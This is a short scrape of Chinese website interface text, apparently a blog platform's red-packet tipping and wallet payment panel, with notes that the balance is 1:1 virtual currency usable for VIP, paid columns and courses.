                                                                      领取后你会自动成为博主和红包主的粉丝 规则
                                                                      hope_wisdom
                                                                      发出的红包
                                                                      实付
                                                                      使用余额支付
                                                                      点击重新获取
                                                                      扫码支付
                                                                      钱包余额 0

                                                                      抵扣说明:

                                                                      1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
                                                                      2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

                                                                      余额充值